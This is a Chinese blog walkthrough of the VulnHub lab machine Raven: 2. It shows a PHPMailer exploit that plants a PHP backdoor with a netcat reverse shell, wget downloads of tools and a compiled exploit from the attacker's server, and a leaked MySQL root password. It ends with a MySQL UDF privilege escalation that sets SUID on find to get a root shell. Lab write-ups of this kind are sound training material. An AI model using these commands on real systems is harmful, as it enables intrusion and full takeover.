VulnHub靶场篇5-Raven: 2

靶机地址:Raven: 2 ~ VulnHub

文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

主机探测&端口扫描

靶机ip为:192.168.1.4

端口扫描结果:

hhh@Kali2020:~$ nmap -A -sV -p- -T5 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-28 13:56 CST
Nmap scan report for raven (192.168.1.9)
Host is up (0.0021s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          42520/tcp   status
|   100024  1          43820/tcp6  status
|   100024  1          45760/udp6  status
|_  100024  1          48648/udp   status
42520/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds

信息搜集

  1. 使用dirb进行扫描
dirb http://192.168.1.9

对每个文件夹进行搜索,得到如下信息:

/vendor目录处得知该网站使用PHPMailer(5.2.16)
以及该网站绝对路径 /var/www/html/vendor 以及flag1

权限获取

思路:通过PHPMailer(5.2.16)漏洞

途径1 脚本-监听

  1. 搜索该漏洞
searchsploit PHPMailer
  1. 复制python版本的脚本
cp /usr/share/exploitdb/exploits/PHP/webapps/40974.py .
  1. 编辑该脚本
设置编码格式
页面contact.php使用到PHPMailer的服务,设置为target
后门脚本命名为123.php
这里会对后门脚本名字进行检测吗?
修改连接到kali的端口以及该网站的路径

0001.png

  1. 访问页面
http://192.168.1.9/contact.php
  1. kali开启监听
nc -lvp 4444
  1. 访问生成的脚本文件(已改名的文件)
    成功得到低权限
http://192.168.1.9/123.php
  1. 找到flag
    在var目录下进行查找,可以找到flag2flag3
www-data@Raven:/var$ find /var/ -name flag*      
find /var/ -name flag*
find: `/var/spool/mqueue-client': Permission denied
find: `/var/spool/rsyslog': Permission denied
find: `/var/spool/mqueue': Permission denied
find: `/var/spool/exim4': Permission denied
find: `/var/spool/cron/atjobs': Permission denied
find: `/var/spool/cron/crontabs': Permission denied
find: `/var/spool/cron/atspool': Permission denied
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

途经2 使用MSF模块化

参考:VulnHub-Raven-靶机渗透学习

权限提升

在目录下搜索wordpress/wp-config文件,查看到mysql用户及密码

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

*获取到mysql服务是root权限运行的

这一步的意思大概就是信息搜集到该服务是以root权限运行的,而不是普通用户,以此可以对mysql进行攻击得到root权限?

途径一:LinEnum.sh枚举工具

下载地址

在kali处使用python搭建小型服务器

python -m SimpleHTTPServer 5555

在靶机上下载该工具

wget http://192.168.1.14:8888/LinEnum.sh

途径二: ps命令

Linux ps (英文全拼:process status)命令用于显示当前进程的状态,类似于 windows 的任务管理器。

ps命令查看当前以root用户身份运行的所有进程

ps aux | grep root
ps -ef | grep mysql

具体两个命令的区别还不是很清楚,但是都可以查看到root权限执行mysql进程

查看mysql版本

途径一:dpkg命令查看mysql版本

“dpkg ”是“Debian Packager ”的简写。为 “Debian” 专门开发的套件管理系统,方便软件的安装、更新及移除。

-l:搜索Deb包

dpkg -l | grep mysql

途径二:直接登陆进去查看

mysql -u root -p
select version();

可得知是5.5版的,进而去google搜索漏洞

使用UDF漏洞提升权限

漏洞信息:

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit

MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662

  1. 搜索到该漏洞脚本
searchsploit 1518.c
  1. 拷贝到当前目录
cp /usr/share/exploitdb/exploits/linux/local/1518.c . 
  1. 编译该脚本成.so文件

-g:保留代码的文字信息
-c:进行预处理、编译和汇编,生成.o文件
-shared:从目标文件生成动态链接库
-o:指定生成的名字
-lc:指定标准库

gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
  1. 靶机接收该脚本
wget http://192.168.1.14:8888/1518.so
  1. 通过mysql进行UDF提权
    依次输入下述命令
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
exit

再输入下命令:

find / -exec "/bin/sh" \;

该漏洞的具体细节还没有了解,留过两天再了解了解咯

总结

  1. PHPMailer漏洞
  2. 反向shell连接
  3. wordpress/wp-config.php
  4. LinEnum.sh枚举工具
  5. ps命令
  6. dpkg命令
  7. MySQL UDF 漏洞

参考

https://blog.csdn.net/nzjdsds/article/details/93971746

https://blog.csdn.net/qq_34801745/article/details/103753259

https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

https://github.com/rebootuser/LinEnum

https://www.exploit-db.com/exploits/1518

posted @ 2021-01-28 23:19  labster  阅读(580)  评论(0编辑  收藏  举报